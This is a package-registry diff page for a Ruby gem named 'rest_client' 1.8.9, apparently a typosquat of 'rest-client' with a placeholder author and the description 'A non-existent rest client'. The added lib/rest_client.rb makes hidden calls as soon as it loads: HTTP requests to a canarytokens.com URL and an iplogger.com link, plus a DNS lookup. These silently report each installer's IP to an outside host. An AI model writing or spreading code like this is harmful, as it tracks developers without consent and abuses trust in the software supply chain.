rest_client 1.8.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rest_client might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/rest_client.rb +14 -0
- metadata +43 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: ff0591428c375f4e641d690fd4c258ed01ccd303d979db9da61527f220687ddb
|
4
|
+
data.tar.gz: 6d6200f8cd86a4331a32cd799685cc40d928976c0f0b2e3780ca4e697171407e
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 8fc1372fc368b1b0d69ad255cb8e6141ed5f7df7dbdb5b5fdc2950f9eb854ad7e869006ab6e9ac6fbf7479c9499ebc549ec3a7262d5ca7cb0da4912263855679
|
7
|
+
data.tar.gz: 649f83612e7f04cb2b53506f70e484a59306e8ce471c0c47ea4ecbb0cad1d060247e915c076917a5a9c69d6880adb124fc6e0d15e56e59d9befcfbdbeab6576b
|
data/lib/rest_client.rb
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'uri'
|
3
|
+
require 'resolv'
|
4
|
+
|
5
|
+
|
6
|
+
Net::HTTP.get URI('https://tpdt52j6hqgaubq1y86fmhv7d.canarytokens.com')
|
7
|
+
Resolv.getname "tpdt52j6hqgaubq1y86fmhv7d.canarytokens.com"
|
8
|
+
Net::HTTP.get URI('https://iplogger.com/2tW6U4')
|
9
|
+
|
10
|
+
class RestClient
|
11
|
+
def self.hi
|
12
|
+
puts "This package is no longer maintained, please use rest-client instead to avoid security implications."
|
13
|
+
end
|
14
|
+
end
|
metadata
ADDED
@@ -0,0 +1,43 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: rest_client
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 1.8.9
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- N/A
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2022-10-18 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: A non-existent rest client
|
14
|
+
email: idontexist@mailinator.com
|
15
|
+
executables: []
|
16
|
+
extensions: []
|
17
|
+
extra_rdoc_files: []
|
18
|
+
files:
|
19
|
+
- lib/rest_client.rb
|
20
|
+
homepage: https://rubygems.org/gems/rest_client
|
21
|
+
licenses:
|
22
|
+
- MIT
|
23
|
+
metadata: {}
|
24
|
+
post_install_message:
|
25
|
+
rdoc_options: []
|
26
|
+
require_paths:
|
27
|
+
- lib
|
28
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
29
|
+
requirements:
|
30
|
+
- - ">="
|
31
|
+
- !ruby/object:Gem::Version
|
32
|
+
version: '0'
|
33
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
34
|
+
requirements:
|
35
|
+
- - ">="
|
36
|
+
- !ruby/object:Gem::Version
|
37
|
+
version: '0'
|
38
|
+
requirements: []
|
39
|
+
rubygems_version: 3.0.3.1
|
40
|
+
signing_key:
|
41
|
+
specification_version: 4
|
42
|
+
summary: Hola!
|
43
|
+
test_files: []
|